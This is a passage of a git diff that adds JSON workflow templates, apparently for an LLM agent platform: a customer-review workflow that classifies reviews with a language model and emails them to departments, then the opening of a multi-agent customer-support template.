+ "key": "1",
+ "name": "review",
+ "optional": false,
+ "options": [],
+ "type": "line",
+ "value": "test"
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi! I'm your customer review analysis assistant. You can send a review to me.\n"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Categorize:RottenWallsObeyend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Categorize:RottenWallsObey",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:RottenWallsObeyc8aacd5d-eb40-45a2-bc8f-94d016d7f6c0-Categorize:FourTeamsFoldend",
+ "source": "Categorize:RottenWallsObey",
+ "sourceHandle": "c8aacd5d-eb40-45a2-bc8f-94d016d7f6c0",
+ "target": "Categorize:FourTeamsFold",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:RottenWallsObey16f0d215-18b8-400e-98f2-f3e30aa28ff9-Email:WickedSymbolsLeaveend",
+ "source": "Categorize:RottenWallsObey",
+ "sourceHandle": "16f0d215-18b8-400e-98f2-f3e30aa28ff9",
+ "target": "Email:WickedSymbolsLeave",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:FourTeamsFolda1f3068c-85d8-4cfa-aa86-ef1f71d2edce-Email:SharpDeerExistend",
+ "source": "Categorize:FourTeamsFold",
+ "sourceHandle": "a1f3068c-85d8-4cfa-aa86-ef1f71d2edce",
+ "target": "Email:SharpDeerExist",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Categorize:FourTeamsFold2fda442d-8580-440c-a947-0df607ca56fe-Email:ChillyBusesDrawend",
+ "source": "Categorize:FourTeamsFold",
+ "sourceHandle": "2fda442d-8580-440c-a947-0df607ca56fe",
+ "target": "Email:ChillyBusesDraw",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Email:WickedSymbolsLeavestart-StringTransform:FuzzySpiesTrainend",
+ "source": "Email:WickedSymbolsLeave",
+ "sourceHandle": "start",
+ "target": "StringTransform:FuzzySpiesTrain",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Email:SharpDeerExiststart-StringTransform:FuzzySpiesTrainend",
+ "markerEnd": "logo",
+ "source": "Email:SharpDeerExist",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "StringTransform:FuzzySpiesTrain",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Email:ChillyBusesDrawstart-StringTransform:FuzzySpiesTrainend",
+ "markerEnd": "logo",
+ "source": "Email:ChillyBusesDraw",
+ "sourceHandle": "start",
+ "style": {
+ "stroke": "rgba(91, 93, 106, 1)",
+ "strokeWidth": 1
+ },
+ "target": "StringTransform:FuzzySpiesTrain",
+ "targetHandle": "end",
+ "type": "buttonEdge",
+ "zIndex": 1001
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__StringTransform:FuzzySpiesTrainstart-Message:ShaggyAnimalsWinend",
+ "source": "StringTransform:FuzzySpiesTrain",
+ "sourceHandle": "start",
+ "target": "Message:ShaggyAnimalsWin",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {
+ "1": {
+ "key": "1",
+ "name": "review",
+ "optional": false,
+ "options": [],
+ "type": "line",
+ "value": ""
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi! I'm your customer review analysis assistant. You can send a review to me.\n"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 76,
+ "width": 200
+ },
+ "position": {
+ "x": 53.79637618636758,
+ "y": 55.73770491803276
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.5,
+ "items": [
+ {
+ "description": "Positive review to the product.",
+ "examples": [
+ {
+ "value": "1. Good, I like it.\n2. It is very helpful.\n3. It makes my work easier."
+ }
+ ],
+ "name": "Positive review",
+ "uuid": "16f0d215-18b8-400e-98f2-f3e30aa28ff9"
+ },
+ {
+ "description": "Negative review to the product.",
+ "examples": [
+ {
+ "value": "1. I have issues. \n2. Too many problems.\n3. I don't like it."
+ }
+ ],
+ "name": "Negative review ",
+ "uuid": "c8aacd5d-eb40-45a2-bc8f-94d016d7f6c0"
+ }
+ ],
+ "llm_filter": "all",
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_tokens": 4096,
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.5,
+ "query": "sys.query",
+ "temperature": 0.2,
+ "temperatureEnabled": false,
+ "topPEnabled": false,
+ "top_p": 0.75
+ },
+ "label": "Categorize",
+ "name": "Review categorize"
+ },
+ "dragging": false,
+ "id": "Categorize:RottenWallsObey",
+ "measured": {
+ "height": 140,
+ "width": 200
+ },
+ "position": {
+ "x": 374.0221988829014,
+ "y": 37.350593375729275
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "categorizeNode"
+ },
+ {
+ "data": {
+ "form": {
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "items": [
+ {
+ "description": "The negative review is about after-sales issues.",
+ "examples": [
+ {
+ "value": "1. The product easily broke down.\n2. I need to change a new one.\n3. It is not the type I ordered."
+ }
+ ],
+ "name": "After-sales issues",
+ "uuid": "a1f3068c-85d8-4cfa-aa86-ef1f71d2edce"
+ },
+ {
+ "description": "The negative review is about transportation issue.",
+ "examples": [
+ {
+ "value": "1. The transportation is delayed too much.\n2. I can't find where is my order now."
+ }
+ ],
+ "name": "Transportation issue",
+ "uuid": "2fda442d-8580-440c-a947-0df607ca56fe"
+ }
+ ],
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_tokens": 256,
+ "message_history_window_size": 1,
+ "outputs": {
+ "category_name": {
+ "type": "string"
+ }
+ },
+ "parameter": "Precise",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "query": "sys.query",
+ "temperature": 0,
+ "temperatureEnabled": true,
+ "topPEnabled": false,
+ "top_p": 0.3
+ },
+ "label": "Categorize",
+ "name": "Negative review categorize"
+ },
+ "dragging": false,
+ "id": "Categorize:FourTeamsFold",
+ "measured": {
+ "height": 140,
+ "width": 200
+ },
+ "position": {
+ "x": 706.0637059431883,
+ "y": 244.46649585736282
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "categorizeNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cc_email": "",
+ "content": "{begin@1}",
+ "email": "",
+ "outputs": {
+ "success": {
+ "type": "boolean",
+ "value": true
+ }
+ },
+ "password": "",
+ "sender_name": "",
+ "smtp_port": 465,
+ "smtp_server": "",
+ "subject": "",
+ "to_email": ""
+ },
+ "label": "Email",
+ "name": "Email: positive "
+ },
+ "dragging": false,
+ "id": "Email:WickedSymbolsLeave",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1034.9790998533604,
+ "y": -253.19781265954452
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "ragNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cc_email": "",
+ "content": "{begin@1}",
+ "email": "",
+ "outputs": {
+ "success": {
+ "type": "boolean",
+ "value": true
+ }
+ },
+ "password": "",
+ "sender_name": "",
+ "smtp_port": 465,
+ "smtp_server": "",
+ "subject": "",
+ "to_email": ""
+ },
+ "label": "Email",
+ "name": "Email: after-sales"
+ },
+ "dragging": false,
+ "id": "Email:SharpDeerExist",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1109.6114876248466,
+ "y": 111.37592732297131
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "ragNode"
+ },
+ {
+ "data": {
+ "form": {
+ "cc_email": "",
+ "content": "{begin@1}",
+ "email": "",
+ "outputs": {
+ "success": {
+ "type": "boolean",
+ "value": true
+ }
+ },
+ "password": "",
+ "sender_name": "",
+ "smtp_port": 465,
+ "smtp_server": "",
+ "subject": "",
+ "to_email": ""
+ },
+ "label": "Email",
+ "name": "Email: transportation"
+ },
+ "dragging": false,
+ "id": "Email:ChillyBusesDraw",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1115.6114876248466,
+ "y": 476.4689932718253
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "ragNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delimiters": [
+ ","
+ ],
+ "method": "merge",
+ "outputs": {
+ "result": {
+ "type": "string"
+ }
+ },
+ "script": "{Email:WickedSymbolsLeave@success}{Email:SharpDeerExist@success}{Email:ChillyBusesDraw@success}",
+ "split_ref": ""
+ },
+ "label": "StringTransform",
+ "name": "Merge results"
+ },
+ "dragging": false,
+ "id": "StringTransform:FuzzySpiesTrain",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1696.9790998533604,
+ "y": 112.80218734045546
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "ragNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{StringTransform:FuzzySpiesTrain@result}"
+ ]
+ },
+ "label": "Message",
+ "name": "Message"
+ },
+ "dragging": false,
+ "id": "Message:ShaggyAnimalsWin",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 1960.9013768854911,
+ "y": 112.43528348294187
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Send positive feedback to the company's brand marketing department system"
+ },
+ "label": "Note",
+ "name": "Note_0"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:FancyTownsSing",
+ "measured": {
+ "height": 136,
+ "width": 244
+ },
+ "position": {
+ "x": 1010,
+ "y": -167
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Send after-sales issues to the product experience department"
+ },
+ "label": "Note",
+ "name": "Note_1"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:SillyLampsDrum",
+ "measured": {
+ "height": 136,
+ "width": 244
+ },
+ "position": {
+ "x": 1108,
+ "y": 195
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Send negative transportation feedback to the transportation department"
+ },
+ "label": "Note",
+ "name": "Note_2"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:GreenNewsMake",
+ "measured": {
+ "height": 136,
+ "width": 244
+ },
+ "position": {
+ "x": 1119,
+ "y": 574
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This workflow automatically classifies customer reviews using LLM (Large Language Model) and route them via email to the relevant departments."
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 146,
+ "id": "Note:TangyHairsShow",
+ "measured": {
+ "height": 146,
+ "width": 360
+ },
+ "position": {
+ "x": 55.192937758820676,
+ "y": 185.32156293136785
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 360
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
+
+
diff --git a/agent/templates/customer_service.json b/agent/templates/customer_service.json
new file mode 100644
index 0000000..7b50c09
--- /dev/null
+++ b/agent/templates/customer_service.json
@@ -0,0 +1,715 @@
+
+{
+ "id": 2,
+ "title": {
+ "en": "Multi-Agent Customer Support",
+ "zh": "多智能体客服"},
+ "description": {
+ "en": "This is a multi-agent system for intelligent customer service processing based on user intent classification. It uses the lead-agent to identify the type of user needs, assign tasks to sub-agents for processing.",
+ "zh": "多智能体系统,用于智能客服场景。基于用户意图分类,使用主智能体识别用户需求类型,并将任务分配给子智能体进行处理。"},
+ "canvas_type": "Agent",
+ "dsl": {
+ "components": {
+ "Agent:RottenRiversDo": {
+ "downstream": [
+ "Message:PurpleCitiesSee"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
